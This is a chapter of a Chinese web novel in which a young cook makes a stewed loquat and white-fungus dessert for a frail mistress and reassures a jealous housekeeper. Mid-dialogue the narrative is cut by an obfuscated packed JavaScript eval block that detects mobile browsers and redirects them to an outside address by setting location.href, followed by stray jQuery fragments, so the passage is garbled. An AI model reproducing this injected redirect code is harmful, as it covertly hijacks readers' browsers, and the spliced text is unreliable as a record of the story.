6. 柳弱花娇大美人

作品:《掌柜她要卷死餐饮同行(美食)

    刘婶皱起眉头:“枇杷做成热的,那怎么吃?”


    陈瑞安胸有成竹:“反正我有办法。青青,等你把你碗里的粥和饼吃完,我就带你去做热枇杷吃。”


    舒小姐从前进厨房,刘婶总是嫌她捣乱,把她赶回内院,搞得舒小姐愈发觉得做饭是件神秘又好玩的事。能和陈瑞安一起去厨房做一道从没听说过的热枇杷,舒小姐十分兴奋,三下五除二,很快把剩下的饭扒拉完了。


    刘婶嘀咕道:“平日里叫你吃饭,总说不饿不饿,剩一堆,过会子又找我要点心。瞧瞧,这不是能吃完么?”


    三人进了厨房,刘婶在前头带路,舒小姐自告奋勇在后面端着枇杷。


    陈瑞安问刘婶:“冰糖在哪里?”


    刘婶指给她:“就在你身后那个橱柜里,右面最上面一层。”


    陈瑞安打开橱柜翻找冰糖时,见橱柜里还有许多干货,便拣了些能用的一起拿出来。


    刘婶看了看她拿出来的东西,狐疑道:“银耳倒也罢了,枸杞和百合是我从前给夫人煮安神茶时,从药店抓来的,这也能用上么?你要给夫人抓副药不成?”


    “说是药呢,倒也不算错;说是点心,也对。”陈瑞安掂量着分量,择出一些银耳和干百合洗净泡发,“老祖宗说,‘药食同源’,食物本就有药性,药嘛,吃进嘴里的,其实也无非是一种特别的食物。我听郎中说,大米小麦这些顿顿都吃的粮食,尚且还记载在《本草纲目》里,能作药用呢。”


    怕舒小姐过了新鲜劲儿无聊,陈瑞安便盯着她洗了手,要她跟着一起剥枇杷肉。舒小姐从《三字经》里学到过“香九龄,能温席;孝于亲,所当执”的道理,自认为能为母亲剥枇杷治病,也算一种“孝于亲”,很乐在其中。


    刘婶一边剥枇杷,一边说:“做个点心,倒给你说得这么玄乎。我也懂这个,人大病初愈,要喝鸡汤、鱼汤,这叫滋补;暑天太阳毒,人容易上火发痧,就要吃些苦瓜,降火用的。是这个道理不是?”


    陈瑞安笑道:“是,说得很对,刘婶很有天赋,该去做个女郎中。”


    剥好的枇杷放在案板上,去核切块备用。


    刘婶找出来一个煮药用的小炉子,取两块冬天没用完的炭点上,又寻了个汤盅架在上面,拿来煮糖水正正好。


    陈瑞安往盅里加入适量水,倒入泡好的银耳、百合和冰糖,盖上盖子,煮至银耳微微起胶。看着差不多了,再揭开盅盖,加入枇杷果肉,直到把汤汁收得稠稠的,最后撒入一把枸杞,略煮片刻,舀一勺尝尝甜淡,就可以盛出装碗了。


    一道枇杷百合炖银耳,装在青花小碗里,白是白、黄是黄,还有枸杞点缀的几星红色,煞是好看。银耳经过慢炖,变成半透明的胶状,晶莹剔透,铺在碗底;枇杷橙黄色的果肉,镶嵌在银耳之间,鲜亮而诱人。


    “姐姐,你好厉害呀!我还从来没吃过这么漂亮的点心呢。”舒小姐端着小碗左看右看,越看越喜欢。


    看起来小小的一个白瓷汤盅,盛出来倒足足有四个小碗。舒小姐和舒夫人一人一碗,再留一碗给舒先生,反正舒先生没有虚弱的肠胃,这糖水凉了也一样好吃。陈瑞安想了想舒先生让她和舒小姐“分着吃”的嘱咐,拿胳膊肘顶了一下刘婶,道:“还多出来一碗,一会儿咱们分着吃。”


    刘婶分明喜欢得眼睛都快粘在这几碗炖枇杷上了,听了这话,硬板起脸来,道:“我不吃。主人家的东西,没有我做下人的吃了的道理。”


    陈瑞安悄悄撇嘴。


    舒小姐找来上菜用的木托盘,把两碗糖水和两个勺子放在上面,要亲自端去母亲的卧房,和母亲一起吃。


    陈瑞安跟着舒小姐一起去送糖水,提防她端不稳摔了;刘婶留在厨房里善后。


    舒小姐小心翼翼地端到舒夫人床窗前,远远就向舒夫人喊道:“娘!姐姐给你做了好吃的!”


    舒夫人正歪在床上,手里还拿着一个绣绷,正在绣一条孩子穿的肚兜,听见声音,才抬起头,温柔地朝舒小姐笑。


    陈瑞安还是头一回得见舒夫人,结结实实被惊艳了,自从穿越过来,她还从未见过这么美的女人。真真是柳弱花娇,顾盼生姿,人苍白而出尘,轻盈得如同一根羽毛,一双眼睛却温柔多情,长长的睫毛一扑闪,看得人心也醉了。舒小姐眉眼像舒先生,脸型和嘴唇却是来自舒夫人,下巴窄而尖,唇如仰月,线条柔婉。


    舒夫人揽过舒小姐,叫她把托盘放到小茶几上,看了眼托盘,惊喜道:“啊!是枇杷。我有好些年都没有吃过枇杷了。上一次吃……那时青青恐怕还不会走路呢。”


    美人的声音也好听,轻柔而微哑,拂得人心上痒痒的。


    陈瑞安好容易才从欣赏美色中回过神,忙道:“枇杷止咳祛痰、银耳滋阴益气、百合养阴润肺、枸杞解热止咳、冰糖化痰祛火,这些东西都是对夫人的症的,夫人放心吃。”


    舒夫人笑道:“原来你还有做药膳的才能。不必这么拘谨。我本姓孙,你叫我孙娘子——不,既然青青喊你姐姐,你叫我伯母就好。刘婶在外面喊我夫人喊得周到,其实私底下,还叫我的小名阿瑜呢。”


    陈瑞安暗想,孙阿瑜,好听,像个美人的名字。


    孙阿瑜问陈瑞安:“你几岁了?”


    陈瑞安答:“满十三了。”


    孙阿瑜点点头,说:“比青青大五岁。我身子虚弱,风吹不得、路走不得,平日里也就只能屋内绣绣花,多谢你帮我照顾青青。我们这附近住的人家少,没有同青青年龄相仿的小姑娘,刘婶和她父亲各自有事要忙,也没人能常带她出去逛逛。她整日闷在家里,也每个人能陪她玩,我见她孤孤单单,心里总觉得愧疚。如今有你来了,我总算放心些。”


    陈瑞安赶紧说:“青青很听话,也不吵闹,好带的。”


    孙阿瑜点头微笑,道:“这炖枇杷是你做的?真是好看,你手真巧,我只怕你太劳累了。”


    陈瑞安道:“不劳累,青青还给我帮忙了呢。”


    舒小姐早等不及,催孙阿瑜:“娘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117780|164203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你快吃吃看,这个枇杷是我跟姐姐和刘婶一起剥的。”


    孙阿瑜夸奖了舒小姐,拿起勺子,舀了一勺,送入口中细细品尝。


    舒小姐迫不及待地问:“怎么样?”


    孙阿瑜惊喜道:“很好吃。甜中带些微酸,清爽,可口;银耳和枇杷都炖得很软烂,很好入口。”又换个勺子喂了舒小姐一勺,道:“你试试吃。”


    舒小姐吃进去一大口,还没咽下去,就连连点头,发出含糊的“好吃好吃”。


    孙阿瑜问陈瑞安:“吃了这两碗,还有剩的么?”


    陈瑞安答:“还有剩。夫人——不,伯母还要再吃一碗么?”


    孙阿瑜摇摇头:“这一碗就足够了。青青人儿小,也不要给她多吃。剩下的,你同刘婶趁热分了吃,不必给你舒伯伯留,他回来时就该吃晚饭了。”


    陈瑞安应下,心里又对孙阿瑜又多了几分好感。


    等母女二人吃完,陈瑞安留舒小姐同孙阿瑜说话,自己把托盘和吃完的小碗端回了厨房。


    刘婶还在洗碗,见陈瑞安进来,道:“拿过来,我一起洗。”


    陈瑞安端过去,道:“伯母说了,剩下的让我们俩分着吃。”


    刘婶冷哼一声:“你倒是喊得亲热。”


    陈瑞安忙得有些累了,搬了把板凳自顾自地坐下,向刘婶道:“刘婶,不要这样嘛。”


    刘婶明知故问:“哪样?”


    陈瑞安道:“有我来了,您专心洗衣做饭,既轻松一些,又不必担心青青磕着碰着,您该高兴才是。青青呢,如今有我陪着她玩,她就不会像从前那般孤单了,她也开心。我能赚到钱,我也开心。如此,这该是一件皆大欢喜的大好事,您又何必总提防着我呢?”


    刘婶嘴硬:“我可没有,这是你自己说的。”


    陈瑞安决定打个直球:“其实您是觉得我来了,抢了您的活儿,让您觉得不那么被需要了,没错吧?”


    刘婶一下子急了:“谁说的?你不要随便揣测别人。”


    陈瑞安道:“青青说的。她刚刚洗脸的时候偷偷同我说的。”虽然她其实自己也看出来了,但舒小姐小小年纪就有如此洞察力,实在是个妙人儿。


    刘婶哽住,不说话了。


    陈瑞安接着开解:“您千好万好,毕竟是大人;我就算再比不上您,毕竟是孩子。青青总归是要同孩子玩的,这样才利于她的性格发展呀,您说是吧?”


    刘婶依旧沉默,但背影隐约有些动容。


    陈瑞安再接再厉:“我再说句多嘴的话,舒先生和伯母两个人,那对您真好比家里的亲长辈。舒先生上次同我说,您年纪大了,有什么费力气的事情,叫我力所能及地也搭把手。要我看,他们找我来,不是觉得您年纪大了没有用,实在怕把您累坏了,让我来给您搭把手的呀。”


    刘婶还是不说话,只留给陈瑞安一个倔强的背影,但悄悄举起了袖子揩眼泪。


    陈瑞安心满意足,功成身退,出去找舒小姐玩了。